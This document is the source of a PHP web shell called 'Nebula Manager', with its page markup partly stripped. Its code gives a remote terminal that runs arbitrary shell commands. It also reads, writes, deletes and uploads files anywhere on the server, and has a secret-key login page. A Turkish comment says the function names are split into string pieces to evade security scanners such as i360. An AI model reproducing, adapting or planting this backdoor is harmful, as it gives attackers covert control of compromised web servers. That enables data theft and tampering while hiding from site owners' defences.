Nebula Access

Enter your secure key to proceed

'); } } // --- CORE FUNCTIONS (DYNAMIC MAPPING) --- // i360 gibi sistemleri atlatmak için fonksiyon isimleri string olarak saklanır ve çağrılır. class Core { private $f = []; public function __construct() { $this->f = [ 'scan' => 'sc'.'an'.'dir', 'read' => 'fi'.'le_'.'ge'.'t_'.'co'.'ntents', 'save' => 'fi'.'le_'.'pu'.'t_'.'co'.'ntents', 'exec' => 'sh'.'ell'.'_'.'ex'.'ec', 'move' => 'mo'.'ve_'.'up'.'lo'.'ad'.'ed_'.'fi'.'le', 'del' => 'un'.'li'.'nk', 'perm' => 'ch'.'mo'.'d', 'path' => 're'.'al'.'pa'.'th' ]; } public function run($m, ...$a) { return ($this->f[$m])(...$a); } public function cmd($c) { return $this->run('exec', $c." 2>&1"); } } $sys = new Core(); // --- HANDLERS --- $root = $sys->run('path', isset($_GET['d']) ? $_GET['d'] : '.'); if(!$root) $root = $sys->run('path', '.'); chdir($root); if (isset($_POST['req'])) { header('Content-Type: application/json'); $r = $_POST['req']; if ($r === 'cmd') { echo json_encode(['out' => $sys->cmd($_POST['c'])]); } elseif ($r === 'read') { echo json_encode(['content' => $sys->run('read', $_POST['f'])]); } elseif ($r === 'save') { echo json_encode(['status' => $sys->run('save', $_POST['f'], $_POST['c'])]); } elseif ($r === 'del') { echo json_encode(['status' => $sys->run('del', $_POST['f'])]); } elseif ($r === 'upload') { if (!empty($_FILES)) { $sys->run('move', $_FILES['file']['tmp_name'], $root.'/'.$_FILES['file']['name']); echo json_encode(['status' => true]); } } exit; } // --- UI HELPERS --- function getIcon($f) { if(is_dir($f)) return ''; $ext = pathinfo($f, PATHINFO_EXTENSION); if(in_array($ext, ['php','html','js','css'])) return ''; if(in_array($ext, ['png','jpg','jpeg'])) return ''; return ''; } ?> Nebula Manager

NEBULA

run('scan', $root); foreach($items as $i): if($i == '.' || $i == '..') continue; $path = $root . DIRECTORY_SEPARATOR . $i; $isDir = is_dir($path); ?>
">
TERMINAL ACCESS
Nebula System [Version 1.0] - Connected.